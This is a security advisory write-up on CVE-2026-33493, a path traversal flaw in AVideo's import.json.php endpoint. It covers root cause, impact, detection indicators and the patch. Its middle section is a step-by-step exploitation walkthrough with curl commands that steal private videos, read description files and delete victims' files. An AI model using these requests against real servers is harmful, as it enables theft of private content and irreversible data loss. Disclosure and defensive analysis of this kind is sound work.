CVE-2026-33493: 
PHP vulnerability analysis and mitigation

CVE-2026-33493 is a path traversal vulnerability in WWBN AVideo affecting all versions up to and including 26.0. The flaw exists in the objects/import.json.php endpoint, which accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4, performing no directory restriction. This allows any authenticated user with upload permission to steal private videos, read adjacent text files, and delete other users' content. The CVSS v3.1 base score is 8.1 (High) per Feedly intelligence, while the GitHub Advisory assigns a score of 7.1 (High) (GitHub Advisory, AVideo Security Advisory). The vulnerability was published on March 20, 2026, and added to the NVD on March 23, 2026.

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), classified as a path traversal vulnerability. The vulnerable endpoint objects/import.json.php validates the fileURI parameter only with a regex check (preg_match("/.*\.mp4$/i", $_POST['fileURI'])) ensuring the value ends in .mp4, but applies no realpath() or directory prefix check to restrict the path to the videos/ directory — a control that was already implemented in the sibling endpoint objects/listFiles.json.php. An attacker submits an absolute filesystem path (e.g., /var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4) as the fileURI parameter; the endpoint then copies the file, reads adjacent .txt/.html/.htm files via file_get_contents(), and optionally deletes source files when delete=true is passed. Exploitation requires only a valid authenticated session with upload permission, which is granted to all registered users in default AVideo configurations (GitHub Advisory, AVideo Security Advisory).

Successful exploitation enables three distinct attack primitives: (1) private video theft — any authenticated user can import another user's private .mp4 files into their own account, bypassing all access controls; (2) file content disclosure — .txt, .html, and .htm files adjacent to any .mp4 on the filesystem (typically video description files in the videos/ directory) can be read and exfiltrated via the video description field; and (3) file deletion — the attacker can delete other users' .mp4 files and associated metadata files if writable by the web server process, causing irreversible data loss. The blast radius covers all private videos on the instance, as every registered user with upload permission (the default) can exploit this flaw (GitHub Advisory, AVideo Security Advisory).

A proof-of-concept (PoC) consisting of concrete step-by-step curl commands is publicly available in the GitHub Security Advisory, rated with high confidence by Feedly (AVideo Security Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.05–0.106%, placing it in the 28th percentile for exploitation probability within 30 days (GitHub Advisory).

1. Reconnaissance: Identify an AVideo instance running version 26.0 or earlier. Register or obtain credentials for an account with upload permission (granted by default to all registered users).
2. Enumerate victim video filenames: Browse the AVideo platform UI or query available API endpoints to identify video filenames belonging to other users (e.g., victim_video_abc123).
3. Steal a private video: Send an authenticated POST request to the import endpoint with the victim's video path as fileURI:

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

The response returns {"error":false, "videos_id": <id>, ...} and the victim's .mp4 is now accessible under the attacker's account. 4. Read private description files: Submit the same request with a length parameter to trigger reading of adjacent .txt/.html/.htm files, which are stored as the new video's description. View the imported video page to retrieve the exfiltrated content:

curl -b 'PHPSESSID=<session>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

5. Delete victim's video: Add delete=true to the request to delete the source .mp4 and adjacent text files (if writable by the web server process):

curl -b 'PHPSESSID=<session>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

(AVideo Security Advisory)

• Network: Repeated or anomalous POST requests to /objects/import.json.php from authenticated users, especially with fileURI values containing absolute filesystem paths (e.g., /var/www/html/AVideo/videos/...) or paths outside the expected videos/ subdirectory structure.
• Logs: Web server access logs showing POST requests to import.json.php with fileURI parameters pointing to other users' video directories; HTTP 200 responses to such requests from accounts that do not own the referenced video.
• File System: Unexpected disappearance of .mp4, .txt, .html, or .htm files from the videos/ directory; new video entries in the database attributed to a user who did not upload the original content.
• Application: Video description fields containing content that matches the text of another user's private description file, or content that appears to be filesystem metadata rather than user-entered text. (AVideo Security Advisory)

The fix was committed to the AVideo repository (commit e110ff5) and applies the same realpath() + directory prefix check already present in listFiles.json.php to import.json.php, ensuring the resolved path must begin with the videos/ base directory (AVideo Patch Commit). Users should update AVideo to version 26.1 or later as soon as it is available. If immediate patching is not possible, restrict upload permissions to trusted users only, as the vulnerability requires upload permission to exploit. Additionally, review web server access logs for suspicious POST requests to import.json.php and monitor the videos/ directory for unauthorized file access or deletion (GitHub Advisory).

The vulnerability was reported by a researcher credited as "offset" in the GitHub Security Advisory and published by the AVideo maintainer DanielnetoDotCom on March 20, 2026 (AVideo Security Advisory). A post on Bluesky by the CyberHub blog noted the vulnerability shortly after its public disclosure. No significant vendor statements beyond the advisory or notable media coverage have been identified at this time.